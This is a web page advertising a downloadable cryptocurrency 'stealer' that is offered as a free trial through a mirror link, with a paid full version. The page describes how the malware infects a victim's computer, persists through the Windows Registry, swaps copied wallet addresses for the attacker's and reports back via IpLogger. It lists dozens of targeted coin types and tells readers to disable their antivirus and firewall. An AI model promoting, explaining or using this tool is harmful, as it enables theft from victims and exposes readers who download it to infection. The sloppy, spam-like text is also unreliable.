

# How To Make Money Stealing BTC "LEATEST VERSION" 20221 - FREE DOWNLOAD

How To Make Money Stealing BTC "LEATEST VERSION" 2021  
FREE DOWNLOAD Bitcoin Stealer LTC Stealer

ONE WEEK FREE TRIAL DOWNLOAD!!!

<https://mirrorace.org/m/1GfzW>

How this Software works?

After the computer is infected, the Stealer will persist to keep it even after restarting the computer.

When the victim is to make a transaction using cryptocurrency, he will have to copy an address to receive or send the cryptocurrency, there the Stealer enters by changing this address by the your address, making you receive the cryptocurrency.

You are only able to use for one week.

After that, the software will not work anymore.

You can buy full version for 0.05 BTC

Supports 43 types of addresses.

Replaces with the most similar address.

Notification via IpLogger

Persistence via Windows Registry

supported Addresses:

01. Bitcoin (P2PKH)
02. Bitcoin (P2SH)
03. Bitcoin (BECH32)
04. Bitcoin Cash (CashAddr)
06. Bitcoin Gold
07. Litecoin (P2PKH)
08. Litecoin (BECH32)
09. Litecoin (M Address)
10. Ethereum (ERC20)
11. Monero
12. Decred
13. Ripple
14. Doge Coin
15. Dash
16. zCash (t-addr)
17. zCash (z-addr)
18. Stellar
19. Neo
20. Cardano
21. IOTA
22. Nano (xrb\_1)
23. Nano (xrb\_3)
24. Nano (nano\_1)
25. Nano (nano\_3)
26. Banano (ban\_1)
27. Banano (ban\_3)
28. Stratis
29. Niobio Cash
30. Lisk
31. Qtum
32. Web Money (Z)
33. Web Money (X)
34. Web Money (E)
35. Vertcoin
36. Tron
37. Tezos (tz1)

38. Tezos (KT1)
39. QIWI (RU)
40. QIWI (UA)
41. Yandex
42. Namecoin

Note: If you are not able to download or run our software or having difficulty connecting to download and install updates, the anti-virus software or firewall that you are running may be blocking the program from performing these functions. It may be necessary for you to temporarily disable your firewall or anti-virus

- Bitcoin Stealer
- Cryptocurrency Stealer
- Bitcoin Cash Stealer
- BTC Stealer
- BTC Cash Stealer
- LTC Stealer
- Litecoin Stealer
- Dash Stealer
- Doge Coin Stealer
- Ethereum Stealer